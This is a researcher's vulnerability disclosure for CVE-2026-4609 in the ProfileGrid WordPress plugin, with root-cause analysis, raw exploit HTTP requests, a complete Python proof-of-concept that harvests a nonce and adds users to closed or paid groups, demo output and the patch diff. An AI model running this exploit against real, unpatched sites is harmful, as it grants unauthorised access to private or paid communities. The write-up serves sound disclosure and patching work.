CVE-2026-4609: ProfileGrid Arbitrary Group Joining
TL;DR
- I found a missing authorisation vulnerability in ProfileGrid, a WordPress user profile and community plugin.
- It affected the group invitation flow and could be exploited by any logged-in Subscriber-level user.
- A low-privileged user could add themselves or another registered user to arbitrary ProfileGrid groups.
- In testing, this bypassed closed-group approval and paid-group payment checks when the invite flow used direct-add mode.
- The impact depends on how the site uses ProfileGrid groups, but it can expose private communities, paid memberships, or group-gated content.
- The issue affects ProfileGrid <= 5.9.8.4, was assigned CVE-2026-4609, and was patched in ProfileGrid 5.9.8.5.
Summary
ProfileGrid was vulnerable to missing authorisation in its group invitation AJAX flow, allowing authenticated Subscriber-level users to join or add users to arbitrary groups.
- CVE: CVE-2026-4609
- Product: ProfileGrid - User Profiles, Groups and Communities
- Vulnerability: Missing Authorization / Arbitrary Group Joining
- Affected Versions: <= 5.9.8.4
- Fixed In: 5.9.8.5
- CVSS Severity: 7.1 (high)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
- Required Privilege: Subscriber+
- NVD Published: May 13, 2026
ProfileGrid had an invite endpoint that behaved like a group-management action, but accepted requests from any logged-in user with a valid nonce. Since that nonce was also exposed through another AJAX path, a Subscriber could turn the intended invite flow into a two-request group-join bypass.
Introduction
[A]I was looking at ProfileGrid's group-management AJAX handlers and noticed that most of the sensitive member actions followed the same pattern: verify a nonce, then check whether the current user is an admin or group manager.
One handler did not fit; pm_invite_user() wasn't just sending a harmless invite. In the default configuration it could directly add an existing user to a group.
So, although the handler was meant to let authorised users invite members into a group. In practice, a Subscriber could turn it into "add this email address to this group now", including groups configured as closed or paid.
Root Cause Analysis
Nonce-Only Authorisation
The vulnerable endpoint is pm_invite_user() in public/class-profile-magic-public.php.
public function pm_invite_user() {
$pm_sanitizer = new PM_sanitizer;
$retrieved_nonce = filter_input( INPUT_POST, '_wpnonce' ); // [1] Nonce check.
if ( ! wp_verify_nonce( $retrieved_nonce, 'invite_pm_user' ) ) {
die( esc_html__( 'Failed security check', 'profilegrid-user-profiles-groups-and-communities' ) );
}
$post = $pm_sanitizer->sanitize($_POST);
$html_generator = new PM_HTML_Creator( $this->profile_magic, $this->version );
$pmrequest = new PM_request();
$pm_emails = new PM_Emails();
$dbhandler = new PM_DBhandler();
$gid = filter_input( INPUT_POST, 'gid' ); // [2] Target group ID is trusted after nonce validation.
$emails = $post['pm_email_address'];
The handler starts with a nonce check at [1], then immediately trusts the submitted group ID at [2]. What is missing between those two points is the actual authorisation decision: no admin check, no group-manager check, and no group-leader check.
Later in the same function, the direct-add path passes a hardcoded 'open' type:
if ( ! in_array( $gid, $gid_array ) ) {
$send_invitation = $dbhandler->get_global_option_value('pm_allow_registered_users_to_accept_invitation', '0');
if($send_invitation==0)
{
$pmrequest->profile_magic_join_group_fun( $user_id, $gid, 'open' ); // [3] Force the open-group join branch.
$message .= '<div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
The same handler later calls the group join helper with a hardcoded 'open' value at [3]. A valid invite_pm_user nonce only shows that the request came from a logged-in WordPress session where that nonce was rendered. It does not say whether the caller is allowed to invite users to group 3, or any other group.
For sensitive actions, the handler still needs an authorisation check such as current_user_can(), a group-manager check, or whatever role model the plugin uses for group administration.
Nonce Harvest Path
The next question is.. Can a Subscriber get the invite_pm_user nonce?
Yes! The nonce is rendered inside the Add User popup produced by pm_edit_group_popup_html.
That AJAX action checks the site-wide ProfileGrid AJAX nonce, but the authorisation logic only applies to one branch of the popup flow. For the blog-management tab there is an authorisation check. For the member-management tab, the handler renders the popup without checking whether the caller can manage the target group.
public function pm_edit_group_popup_html() {
$pm_sanitizer = new PM_sanitizer;
if ( !isset( $_POST['nonce'] ) || ! wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['nonce'])), 'ajax-nonce' ) ) { // [4] Site-wide AJAX nonce check.
die(esc_html__('Failed security check','profilegrid-user-profiles-groups-and-communities') );
}
$post = $pm_sanitizer->sanitize($_POST);
$html_generator = new PM_HTML_Creator( $this->profile_magic, $this->version );
$tab = $post['tab']; // [5] Caller controls popup tab.
$type = $post['type']; // [6] Caller controls popup type.
if ( is_array( $post['id'] ) ) {
$id = $post['id'];
} else {
$id = filter_input( INPUT_POST, 'id' );
}
$gid = filter_input( INPUT_POST, 'gid' ); // [7] Caller controls target group.
if ( $tab == 'blog' && in_array( $type, array( 'add_admin_note', 'edit_admin_note', 'delete_admin_note', 'add_admin_note_bulk' ), true ) ) {
The popup endpoint does verify the site-wide AJAX nonce at [4], but the rest of the routing is still caller-controlled. The request selects the popup tab at [5], selects the action type at [6], and supplies the target group ID at [7]. The blog branch contains admin/group-leader checks. The member branch below does not:
if ( $tab == 'member' ) {
$html_generator->pg_member_popup_html_generator( $type, $id, $gid ); // [8] Renders member popup without group-manager authorisation.
}
Because the member branch reaches [8] without a group-manager check, a Subscriber can render the Add User popup for an arbitrary group. That creates the exploit chain:
- Subscriber loads any ProfileGrid-rendered page and gets the normal
pm_ajax_object.nonce. - Subscriber calls
pm_edit_group_popup_htmlwithtab=member&type=add_user&gid=<target>. - ProfileGrid returns the Add User popup HTML, including a fresh
invite_pm_usernonce. - Subscriber sends that nonce to
pm_invite_user.
There is no admin panel access needed and no group-manager role needed.
The Hardcoded Group Type
The group type handling is where the impact gets worse.
ProfileGrid's normal frontend join flow reads the real group type and paid-group status before joining a user:
if(isset($_POST['pg_join_group']))
{
/*$pg_uid = filter_input(INPUT_POST, 'pg_uid');*/
$pg_uid = get_current_user_id();
$pg_join_gid = filter_input(INPUT_POST, 'pg_join_gid');
$group_type = $pmrequests->profile_magic_get_group_type($pg_join_gid); // [9] Normal join flow reads the real group type.
$is_paid_group = $pmrequests->profile_magic_check_paid_group($pg_join_gid); // [10] Normal join flow checks payment status.
if($is_paid_group>0)
{
$message = apply_filters( 'profile_magic_check_payment_config','');
if($message == 'disabled')
{
esc_html_e('Payment system is not configured to accept payments. Please configure at least one payment processor for this to work.','profilegrid-user-profiles-groups-and-communities');
}else{
$html_creator->pg_join_paid_group_html($pg_join_gid, $pg_uid);
}
}
else
{
$result = $pmrequests->profile_magic_join_group_fun($pg_uid, $pg_join_gid,$group_type); // [11] Normal join flow passes the real type.
}
}
The normal join flow preserves those group rules: it reads the configured group type before joining at [9], checks whether payment is required at [10], and only then calls the join helper with the real type at [11]. That means open groups can add the user immediately, closed groups should go through an approval path, and paid groups should go through payment first.
The invite path skips those checks and passes a hardcoded 'open' literal:
$pmrequest->profile_magic_join_group_fun( $user_id, $gid, 'open' ); // [12] Invite path does not pass the real group type.
That hardcoded value is the key difference. By passing 'open' at [12], the invite path does not preserve the real group type and sends every direct-add invite through the open-group branch.
Inside profile_magic_join_group_fun(), that type controls the branch. The relevant open path writes the user metadata immediately:
if ( $type == 'open' ) {
$user_group = maybe_unserialize( $this->profile_magic_get_user_field_value( $uid, 'pm_group' ) );
$user_groups = $this->pg_filter_users_group_ids( $user_group );
$joining_dates = $this->profile_magic_get_user_field_value( $uid, 'pm_joining_date' );
if ( is_array( $user_groups ) ) {
$gid_array = $user_groups;
} else {
if ( $user_groups != '' && $user_groups != null ) {
$gid_array = array( $user_groups );
} else {
$gid_array = array();
}
}
if ( is_array( $joining_dates ) && ! empty( $joining_dates ) ) {
$joining_dates[ $gid ] = gmdate( 'Y-m-d' );
} else {
$joining_dates = array();
$joining_dates[ $gid ] = gmdate( 'Y-m-d' );
}
if ( ! in_array( $gid, $gid_array ) ) {
$gid_array = array_merge( $gid_array, array( $gid ) );
}
$update = update_user_meta( $uid, 'pm_joining_date', $joining_dates ); // [13] Joining date is written immediately.
$update = update_user_meta( $uid, 'pm_group', $gid_array ); // [14] Group membership is written immediately.
}
Once execution lands in the open branch, ProfileGrid writes the joining date at [13] and the group membership at [14]. So this was not just "a Subscriber can send an invite". It forced the direct-add branch for groups that were not open. The non-open branch inserts a pending request into REQUESTS instead.
Secure Sibling Handlers
Nearby handlers already had the missing check.
| Handler | Nonce check | Capability check |
|---|---|---|
pm_remove_user_from_group | Yes | Admin / super admin / group manager |
pm_activate_user_in_group | Yes | Admin / super admin / group manager |
pm_deactivate_user_from_group | Yes | Admin / super admin / group manager |
pm_approve_join_group_request | Yes | Admin / super admin / group manager |
pm_invite_user | Yes | Missing |
This is why the handler stood out - the surrounding member-management actions all enforced the expected capability check, but the invite path did not.
Impact
An authenticated Subscriber could:
- Add themselves to arbitrary ProfileGrid groups.
- Add another registered user to arbitrary ProfileGrid groups by email address.
- Bypass closed-group approval workflows.
- Bypass paid-group payment gates in direct-add mode.
- Access group-gated content or group-specific features controlled by ProfileGrid.
This is not a WordPress administrator privilege escalation by itself. The impact depends on how the site uses ProfileGrid groups. For membership sites, paid communities, private groups, course areas, or role-like group permissions, arbitrary group joining can still be a serious access-control break.
It is also somewhat noisy since the add flow can fire normal registration/group notification hooks, so group leaders may receive emails.
Exploitation
Preconditions
- The attacker has a Subscriber-level WordPress account.
- ProfileGrid is active and renders its frontend AJAX nonce on at least one page.
- The attacker knows a target group ID.
- The attacker knows the target user's email address.
- The default direct-add invite behaviour is enabled.
In my local test, the target group was configured as closed and paid:
group_type=closedis_paid_group=1group_price=49
The victim user had no prior group membership.
Manual Request
First, harvest the invite_pm_user nonce from the member popup:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>
Content-Type: application/x-www-form-urlencoded
action=pm_edit_group_popup_html&nonce=<ajax-nonce>&tab=member&type=add_user&gid=3&id=
The response includes an _wpnonce field for the invite action:
<input type="hidden" name="_wpnonce" value="<invite_pm_user_nonce>" />
Then use that nonce to add a user to the target group:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<subscriber session>
Content-Type: application/x-www-form-urlencoded
action=pm_invite_user&_wpnonce=<invite_pm_user_nonce>&pm_email_address[]=victim@example.com&gid=3
The vulnerable response reports:
User added to the group
In the default direct-add mode, that writes the victim's group membership immediately. This can be verified by checking the victim user's metadata:
SELECT meta_key, meta_value
FROM wp_usermeta
WHERE user_id = 3
AND meta_key IN ('pm_group', 'pm_joining_date', 'pm_group_payment_status');
The result has no pm_group_payment_status row for the victim, confirming that membership was granted without the paid-group payment flow:
meta_key meta_value
pm_group a:1:{i:0;s:1:"3";}
pm_joining_date a:1:{i:3;s:10:"2026-03-19";}
There are two caveats worth calling out:
- If
pm_allow_registered_users_to_accept_invitation=1, the endpoint sends an invitation email instead of directly adding an existing registered user. - If the group member limit is full,
profile_magic_join_group_fun()blocks the database write server-side, although the response can still claim the user was added.
PoC
Below is the PoC I used for the report. It logs in as a Subscriber, harvests the invite nonce from the member popup, then uses that nonce to add the target email address to the chosen group.
#!/usr/bin/env python3
import argparse
import re
import sys
import requests
def get_args():
parser = argparse.ArgumentParser(description="ProfileGrid arbitrary group join PoC")
parser.add_argument("--url", required=True, help="WordPress site root URL")
parser.add_argument("--username", required=True, help="Subscriber username")
parser.add_argument("--password", required=True, help="Subscriber password")
parser.add_argument("--target-email", required=True, help="Email to add to the group")
parser.add_argument("--gid", required=True, help="Target group ID")
return parser.parse_args()
def login(session, url, username, password):
login_url = url.rstrip("/") + "/wp-login.php"
session.get(login_url)
session.post(login_url, data={
"log": username,
"pwd": password,
"wp-submit": "Log+In",
"redirect_to": "/wp-admin/",
"testcookie": "1",
}, allow_redirects=False)
if not any(c.name.startswith("wordpress_logged_in") for c in session.cookies):
sys.exit("[-] Login failed")
print(f"[+] Logged in as {username}")
def get_ajax_nonce(session, url):
for slug in ["/", "/groups/", "/profile/", "/members/"]:
r = session.get(url.rstrip("/") + slug)
match = re.search(r'"nonce"\s*:\s*"([A-Za-z0-9]+)"', r.text)
if match:
nonce = match.group(1)
print(f"[+] Got ajax-nonce: {nonce} (from {slug})")
return nonce
sys.exit("[-] Could not find pm_ajax_object.nonce")
def harvest_invite_nonce(session, url, ajax_nonce, gid):
ajax_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
r = session.post(ajax_url, data={
"action": "pm_edit_group_popup_html",
"nonce": ajax_nonce,
"tab": "member",
"type": "add_user",
"gid": gid,
"id": "",
})
print(f"[*] Step 1 - pm_edit_group_popup_html HTTP {r.status_code}")
match = (
re.search(r'<input[^>]+name=["\']_wpnonce["\'][^>]*value=["\']([A-Za-z0-9]+)["\']', r.text)
or re.search(r'<input[^>]+value=["\']([A-Za-z0-9]+)["\'][^>]*name=["\']_wpnonce["\']', r.text)
)
if match:
nonce = match.group(1)
print(f"[+] Harvested invite_pm_user nonce: {nonce}")
return nonce
sys.exit(f"[-] Could not harvest invite nonce\n{r.text[:500]}")
def exploit(session, url, invite_nonce, target_email, gid):
ajax_url = url.rstrip("/") + "/wp-admin/admin-ajax.php"
r = session.post(ajax_url, data={
"action": "pm_invite_user",
"_wpnonce": invite_nonce,
"pm_email_address[]": target_email,
"gid": gid,
})
print(f"\n[*] Step 2 - pm_invite_user HTTP {r.status_code}")
if "User added to the group" in r.text:
print(f"\n[+] LIKELY SUCCESS - {target_email} reported as added to group {gid}.")
print(" Closed-group approval and paid-group payment gate bypassed in direct-add mode.")
print(" Always verify via DB/user meta: pm_group and pm_joining_date.")
elif "already a member" in r.text:
print(f"\n[!] Target already in group {gid}.")
elif "Invitation sent successfully" in r.text:
print(f"\n[~] Invitation email dispatched to {target_email} for group {gid}.")
else:
print(f" Response: {r.text[:400]}")
print("[?] Ambiguous response - inspect manually.")
def main():
args = get_args()
session = requests.Session()
login(session, args.url, args.username, args.password)
ajax_nonce = get_ajax_nonce(session, args.url)
invite_nonce = harvest_invite_nonce(session, args.url, ajax_nonce, args.gid)
exploit(session, args.url, invite_nonce, args.target_email, args.gid)
if __name__ == "__main__":
main()
Demo
The demo below shows the PoC harvesting the invite nonce from the member popup, then using it to add the target user to the group:
python3 profilegrid-arbitrary-group-join-poc.py \
--url http://target.example \
--username subscriber \
--password 'password123' \
--target-email victim@example.com \
--gid 3
[+] Logged in as subscriber
[+] Got ajax-nonce: 276266ebdc (from /)
[*] Step 1 - pm_edit_group_popup_html HTTP 200
[+] Harvested invite_pm_user nonce: 77c62a6e0a
[*] Step 2 - pm_invite_user HTTP 200
[+] LIKELY SUCCESS - victim@example.com reported as added to group 3.
Closed-group approval and paid-group payment gate bypassed in direct-add mode.
Patch Diffing
The 5.9.8.5 patch changes pm_invite_user() in public/class-profile-magic-public.php. Unrelated hunks from the same release are omitted here.
The first change is input handling and authorisation. The patched version no longer trusts gid straight from filter_input(), checks that it is numeric, then verifies that the caller is either an admin, super admin, group manager, or group leader for that group. I have normalised the indentation below to make the diff readable; the code changes are unchanged.
$pmrequest = new PM_request();
$pm_emails = new PM_Emails();
$dbhandler = new PM_DBhandler();
-$gid = filter_input( INPUT_POST, 'gid' );
+$gid = isset( $_POST['gid'] ) && is_scalar( $_POST['gid'] )
+ ? trim( (string) wp_unslash( $_POST['gid'] ) )
+ : '';
$emails = $post['pm_email_address'];
+$current_user_id = get_current_user_id();
+$basic_functions = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
+
+if ( '' === $gid || ! ctype_digit( $gid ) ) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+}
+
+$is_group_leader = $pmrequest->pg_check_in_single_group_is_user_group_leader( $current_user_id, $gid );
+$is_group_manager = $basic_functions->pm_user_is_group_manager( $current_user_id, $gid );
+if (
+ ! current_user_can( 'manage_options' ) &&
+ ! is_super_admin( $current_user_id ) &&
+ ! $is_group_manager &&
+ ! $is_group_leader
+) {
+ wp_die( __( 'Unauthorized', 'profilegrid-user-profiles-groups-and-communities' ), '', array( 'response' => 403 ) );
+}
+
+$group_type = $pmrequest->profile_magic_get_group_type( $gid );
+$is_paid_group = (float) $pmrequest->profile_magic_check_paid_group( $gid ) > 0;
The second change closes the group-type bypass. The old version always passed 'open', which forced the immediate-add branch. The patch only directly joins users when the target group is actually open and not paid, then passes the real $group_type into profile_magic_join_group_fun().
if ( ! in_array( $gid, $gid_array ) ) {
$send_invitation = $dbhandler->get_global_option_value('pm_allow_registered_users_to_accept_invitation', '0');
- if($send_invitation==0)
+ if($send_invitation==0 && 'open' === $group_type && ! $is_paid_group)
{
- $pmrequest->profile_magic_join_group_fun( $user_id, $gid, 'open' );
+ $pmrequest->profile_magic_join_group_fun( $user_id, $gid, $group_type );
$message .= '<div class="pg-invited-user-result pg-group-user-info-box pg-invitation-failed pm-pad10 pm-bg pm-dbfl">
Remediation
Site owners should update ProfileGrid to version 5.9.8.5 or later.
Disclosure Timeline
- April 2, 2026: Submitted to the Wordfence bug bounty program.
- May 12, 2026: Published by Wordfence as CVE-2026-4609.
- Bounty: $0.
Conclusion
Most of the right pieces were already nearby: nonce checks, admin checks, group-manager checks, and a pending-approval path for closed groups. The invite flow skipped the access-control check and then forced the open-group path.
References
- Wordfence: CVE-2026-4609
- NVD: CVE-2026-4609
- WordPress.org: ProfileGrid plugin
- ProfileGrid 5.9.8.4: public/class-profile-magic-public.php
- ProfileGrid 5.9.8.5: public/class-profile-magic-public.php
- ProfileGrid 5.9.8.4: public/partials/profile-magic-group.php
- ProfileGrid 5.9.8.4: includes/class-profile-magic-request.php
- ProfileGrid 5.9.8.4: admin/partials/add-group.php
- WordPress Developer Resources: Nonces